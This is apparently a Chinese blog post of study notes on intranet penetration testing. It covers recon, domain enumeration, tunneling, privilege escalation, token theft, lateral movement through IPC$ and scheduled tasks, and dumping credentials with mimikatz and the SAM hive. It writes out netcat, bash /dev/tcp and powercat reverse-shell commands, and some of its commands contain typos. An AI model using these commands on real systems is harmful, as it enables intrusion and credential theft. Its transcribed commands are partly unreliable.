内网的基础知识

网络配置信息查询

Ipconfig /all  获取网络的配置信息
Netstat –ano 查看端口的列表
Net share 共享列表
Route print 路由打印
Arp –a  arp缓存表
systeminfo | findstr /B /C:"OS name" "C:OS sersion" 查询系统的版本信息
wmic severive list brif  查询本机的信息
wmic  product get  name,version  vmic使用信息输出

搭建的服务器
Owaspbwa是owasp出品是基于虚拟机的渗透系统工具
DVWA是基于用于安全人员进行安全脆弱性的鉴定web应用
暴力破解,命令行注入,跨站伪造请求,文件包含,文件下载,安全验证,sql注入,sql盲注,反射型脚本跨站,储存型脚本跨站

内网的探测

1.Arp-scan 
Arp exe –t 192.168.100/20 自定义掩码扫描指定范围
2.empire 中的arpscan 
3.nishang
端口扫描
利用Telnet服务进行端口扫描
s.exe端口扫描
msf端口扫描 portscan
nishang invoke-portscan 端口扫描
端口的banner 信息,是使用nc或者是端口扫描工具

域内信息收集

Net view /domain 查询域
Net group /domain 查询所有的域管理员组
Net group ‘domain computer’/domain  域管理员组
Net account /domain 获取密码信息
域分析工具-bloodhound
分析域内的网段的划分的情况及其拓扑图结构
域内的网段的划分
DMZ :外围web权限环境拿到的权限都在DMZ中,这个区域不是严格意义上的内网。
办公区
核心区

隐藏的通信的隧道技术

隧道:简单的说就是一种绕过端口屏蔽的通信方式。
常见的隧道列举:
IMCP
Ping <ip地址域名>
TCP
Netcat(简称nc)被安全届认为是瑞士军刀,使用的是TCP和udp协议来读写数据。Nc<ip IP地址 端口号>
http协议
curl<ip  :端口号>如果远程主机开启了相应的端口,返回端口的响应信息。
DNS协议
在dns的连通性检测的时候,常用的命令是nslookup和dig
网络通信隧道技术
ipv6隧道协议:被称之为下一个互联网协议,它是用来设计来代替现行的ipv4协议的全新的一种协议
ipv6隧道的工作过程:ipv6-封装(ipv4/ipv6)(节点a)—>以ipv4的报文传递(隧道)-解封装(ipv4/ipv6)(节点b)-ipv6报文
支持工具 :socat
防御:了解ipv6的具体漏洞,通过防火墙和深度防御过滤ipv6通信,提高主机的安全性
IMCP隧道
常用的工具是:icmpsh、pingTunne
防御方法:使用wireshark进行ICMP数据包分析:
检测统一来源数据包的数量
注意那些数据包大于64字节的payload
寻找发送和请求异常的数据包
检查ICMP数据包的标签协议"icmp前面会有TUNL来标记隧道"

传输层隧道协议

传输层的技术包括tcp,udp隧道和常规的端口转发等
Lcx.exe端口转发(内网):lex.exe -slave<公网IP地址>444 4 127.0.0.1 3389(内网端口转发);lcx.exe –listen 4444 5555(将本机的4444端口的数据传输到5555端口上)
本地端口映射:lcx.exe –tran 53<目标主机ip>3389(由3389于数据无法通过防火墙,可以将目标服务器相应的端口数据传递到防火墙允许的其他的端口)
Netcat
从网络上读取数据到网络的另一端
Nc  –nvv ip 端口 –--远程连接主机
Nc –v ip 端口 ----扫描指定端口主机(nc –v –z ip 10-1024(扫描网段))
Nc –l –p 9999 -----监听本地端口,当当端口受到信息就会传输到命令行
Nc –lp 333>1.txt 文件传输
Nc -l –p 888 本地主机(nc –vn ip(目标主机)888)简单的聊天
获取shell
正向shell(客户端连接服务器)
Nc –lvp 4444 –e /bin/sh (linux)
Nc –lvp 4444 –e c:\windows\system32\cmd.exe(windows)
反向shell(服务器连接客户端)
Nc 4444 –e /bin/sh (linux)
Nc 4444 –e c:\windows\system32\cmd.exe(windows)
没有nc时还可以使用python,bash,php,perl等反向shell
例如bash:nc –lvp 4444
Bash –i >& /dev/tcp/192.168.1.4/4444 0>&1(目标主机执行反弹命令)

内网代理技术

Nc –lcp 3333 (本机)
Nc –lvp 3333 –e /bin/sh(代理机)
Nc –v 本机ip 3333 –c 'nc –v 代理ip 3333'
Powercat
Nc正相连接powercat –l –p 8080 –e cmd.exe –v(服务器)  netcat ip 8080 –vv(主机)
Nc 反向连接:netcat –l –p 8888 –vv(主机)powercat –c  I –p8888 –v –e cmd.exe
Powsercat –l –p 8000 –e cmd –v –g >> shell.psl(生成的监听的后门)
Powsercat –c 10.10.10.129 –p 8000 –v 获得反弹的shell
Powsercat –l –p 8000 -ep –e cmd –v –g >> shell.psl(编码后门)
Powercat –l –p 9999 –v

应用层的隧道技术

ssh协议:在所有的linux的服务器和网络设备之中都支持ssh协议
命令:ssh root@ip
本地转发:
Ssh –cfNg –L 1153(kali端口):1.1.1.10(目标主机):3389(目标端口)root@(跳板机)
远程端口转发 :
Ssh –cfNg –R 1153(kali端口):1.1.1.10(目标主机):3389(目标端口)root@(跳板机)
动态端口转发:
Ssh –CfNg –D 7000 root@ ip地址
Ssh的防御思路:在系统中设置ssh远程访问的白名单,在acl(访问控制列表)只有特定的ip才能连接ssh等
Dns协议
是一种请求应答协议,也是一种应用层的隧道技术,在基于传统的socket隧道被淘汰,tcp,udp通信被大量的防御系统拦截dns ,ICMP,HTTP,HTTPS等成为攻击的主要手段,大多数的防火墙是不会过滤dns流量的
软件:dnscat2
预防dns隧道攻击:
禁止服务器中的任何人向外部服务器的DNS请求
跟踪用户的dns查询数
阻止ICMP

权限提升分析及防御

横向提权和纵向提权
溢出提权:用户输入的数据大于缓冲区的数据就会溢出(补丁安装)
Systeminfo---查询补丁
Msf中的post/windows/gather/enum_pathes模块来查询补丁
Windows exploit suggester
Windows系统中的操作配置及其系统防范
系统中的错误配置有如下俩种可能性:
服务器未运行:攻击者会是用任意服务器来替换原来的服务器,然后重启服务器
服务器正在运行且无法被终止,使用的是dll劫持技术来重启服务器来进行提权
注册表键是一个策略设置项,允许低用户可以以system权限安装文件主要是MSI文件(预防:只要禁用注册表键就能阻止)
可信任服务器路径漏洞:(包含空格且没有引号的路径)该漏洞利用了文件的解析特性。
漏洞的俩种可能性:
如果路径与服务有关,创建一个服务
如果路径与可执行文件有关,就创建任意一个可执行文件
预防:将文件的路径用引号引起来
自动化安装配置文件
绕过uac提权分析防范
UAC是微软用来提高安全性的一种技术
Msf bypassuac 模块
Nishang
预防:最好的办法就是不让内网机器使用,本地管理员的权限从而降低,系统遭受攻击的可能性。

令牌窃取分析及其防范

令牌token是指系统中的临时的秘钥,相当于账户和密码,令牌的最大的特点是随机性和不可预测性,伪造令牌攻击的核心是kerberors协议。
客户端的请求证书:
客户端向认证服务器发送请求,要求得到证书
认证服务器发送请求后,将包含客户端的秘钥的加密证书发送给客户端。
客户端将ticket传送给服务器。
令牌窃取
Msf -list_token –u
烂土豆 本地提权 use incognito  list_token –u 在GitHub上下载rotten potato
Mimikaz获取令牌
防御措施:
及时推送补丁
不使用来历不明的软件
对令牌要有实效新的限制,以防止散列值被破译后泄露出令牌的有效的信息
对于令牌应采取加密储存或者多重验证保护
使用加密链路SSL和TLS令牌传输,以防止中间人窃听

域内的横向移动分析及其防御

当拿到计算机的用户名密码或者NTML Hash后,通过PTH(pass the Hash,凭据传递)的方法,将散列的值或者是明文的密码发送到目标机器进行验证。
IPC:共享命名管道的资源,是为了实现进程间的通信而开放的命名管道。Ipc$可以与主机建立空连接
Net use \\192.168.100.1 \ipc$ “密码”/ user:administrator
开启ipc$的利用条件
开启139、445 端口

管理员开启默认共享权限

使用自带的windows命令
dir命令
tasklist
计划任务命令
at命令
使用net time命令确定远程机器的系统时间
使用copy将pyload复制到远程主机的目标机器之中
使用at命令启动该payload 文件
删除使用at命令创建的计划任务 目录
Net time \\ip
Copy calv.bat \\ip\c$
At \\ip 4:11 PM c:\calc.bat added a new job with job 	ID=7
At \\ip 7 /delete
schtasks命令(在2008之后的版本值中)

单机密码抓取的工具:getpass, pwdump7,quarkpwdump
Mimikatz是c语言编写的可以从内存中获取明文的密码,散列值、PIN、kerberos票据。
导出SAM 和system文件
Reg save hklm\sam sam.hive
Reg save hklm\sam system.hive
使用mimikatz读取SAM和system文件
使用cain读取SAM 文件
使用mimikatz直接读取本地的SAM文件导出Hash信息
Privilege::debug ,lsadump::sam(获取本地的SAM文件)
在windows sever2012以上的版本中关闭wdiges从内存中获铭文的密码
需要更改wdiges状态
使用hashcat获取密码
如何防范攻击者获取明文密码和散列值
	设置AD (活动目录)2012 r2 的功能级别(新增加了一个受保护的用户组)
	安装补丁
	通过修改注册表禁止在内存中储存明文密码
	Mimikatz的预防(debug权限)

posted on 2022-03-19 22:30  寂寞梧桐#  阅读(257)  评论(0编辑  收藏  举报

导航